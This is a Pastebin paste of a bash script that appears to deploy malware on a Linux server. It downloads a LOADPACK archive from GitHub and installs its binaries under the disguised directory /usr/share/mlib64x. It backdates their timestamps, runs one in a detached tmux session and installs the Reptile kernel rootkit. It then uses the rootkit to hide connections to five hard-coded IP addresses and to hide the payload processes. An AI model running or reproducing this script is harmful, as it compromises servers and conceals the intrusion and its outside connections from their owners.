Advertisement
Guest User

Untitled

a guest
Jan 31st, 2019
214
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.40 KB | None | 0 0
  1. #!/bin/bash
  2. #
  3.  
  4. wget 'https://github.com/secretgoose/goose/raw/master/LOADPACK-1.zip' &&\
  5. unzip LOADPACK-1.zip &&\
  6. rm -rf LOADPACK-1.zip &&\
  7.  
  8.  
  9. # copying
  10. mkdir /usr/share/mlib64x/ &&\
  11. cp -f LOADPACK-1/M/* /usr/share/mlib64x/ &&\
  12. touch -t 201706190000.00 /usr/share/mlib64x/mlib64 &&\
  13. touch -t 201706190000.00 /usr/share/mlib64x/mlib64sbin &&\
  14. touch -t 201706190000.00 /usr/share/mlib64x/config.json &&\
  15. touch -t 201706190000.00 /usr/share/mlib64x/ &&\
  16.  
  17. chmod +x /usr/share/mlib64x/* &&\
  18. chmod +x LOADPACK-1/Reptile/setup.sh &&\
  19.  
  20.  
  21.  
  22. #setup kernel-devel
  23. yum -y install kernel-devel-$(uname -r) &&\
  24.  
  25. # or download and install
  26. # wget ...
  27. # rpm -ivh ...
  28.  
  29.  
  30. #setup tmux
  31. yum -y install tmux &&\
  32.  
  33. #run M
  34. tmux new -d /usr/share/mlib64x/mlib64 &&\
  35.  
  36.  
  37. #setup Rept
  38. cd LOADPACK-1/Reptile &&\
  39. ./setup.sh install &&\
  40.  
  41.  
  42. /mlib64/mlib64_cmd hide
  43.  
  44. #hide connections
  45. /mlib64/mlib64_cmd conn 129.232.181.98 7755 hide &&\
  46. /mlib64/mlib64_cmd conn 79.137.57.106 8005 hide &&\
  47. /mlib64/mlib64_cmd conn 178.32.145.31 8005 hide &&\
  48. /mlib64/mlib64_cmd conn 178.32.196.217 8005 hide &&\
  49. /mlib64/mlib64_cmd conn 144.217.117.111 8005 hide &&\
  50.  
  51. #79.137.57.106
  52. #178.32.145.31
  53. #178.32.196.217
  54. #144.217.117.111
  55.  
  56.  
  57. #hide by PIDS
  58. pgrep tmux|xargs /mlib64/mlib64_cmd hide &&\
  59. pgrep mlib64|xargs /mlib64/mlib64_cmd hide &&\
  60. pgrep mlib64sbin|xargs /mlib64/mlib64_cmd hide &&\
  61.  
  62.  
  63.  
  64. # del
  65. # cd ..;cd..
  66. #rm -rf LOADPACK-1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement